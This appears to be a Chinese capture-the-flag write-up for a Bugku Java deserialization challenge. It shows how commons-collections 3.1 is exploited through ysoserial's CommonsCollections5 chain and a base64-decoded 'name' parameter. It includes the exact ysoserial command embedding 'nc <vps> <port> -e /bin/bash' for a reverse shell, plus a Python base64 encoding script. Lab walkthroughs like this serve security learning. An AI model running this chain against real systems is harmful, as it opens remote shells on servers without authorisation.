bugku平台上的java反序列化漏洞练习题
打开题目网站
网站如图所示,啥也没有,先去看下附件有什么。
附件
下载附件后看下有什么信息提示
附件压缩包下载后解压发现有java文件以及网站的配置环境信息,先打开pom.xml。
看下。
发现网站是Spring环境搭建的,先将这下面的提到的插件百度了下,发现commons-collections3.1有反序列化漏洞。
继续搜集信息
还有java代码文件没看,接下来打开java文件。
打开helloController.java文件发现网站路由信息以及所传递的参数。并且可以看到name参数值接收后经过base64解码。
构造Payload
推荐使用ysoserial-0.0.6-SNAPSHOT-all.jar工具包,生成payload
先运行jar包查看下使用方式。使用nc vps的ip地址 port -e /bin/bash 指令构造payload(也可以尝试下其它shell反弹方式,我是看了下题目下面的评论,发现nc -e /bin/bash反弹会成功,其它反弹方式有问题)。并且经过尝试几个payload后发现CommonsCollections5可以使用。
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections5 “nc vps的Ip地址 监听端口 -e /bin/bash” > payload.bin
原始payload生成完成,不要忘记helloController.java文件上提到的name参数接收后,会经过base64编码解码。因此,原始payload需要经过base64编码。
base64Payload
import base64
file = open("payload.bin","rb")
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
此处我将生成的原始payload文件加载到py文件所在目录中,运行base64编码代码,直接将编码后生成的payload打印到了控制台。
整理后的payload如上图所示。
nc监听
配置下监听端口,vps监听端口要和上述构造原始payload上的端口一致。
发送构造好的payload
获取flag
结束
ysoserial-0.0.6-SNAPSHOT-all.jar工具各位自行百度下就可以了。大佬们,不喜勿喷,本人菜鸡。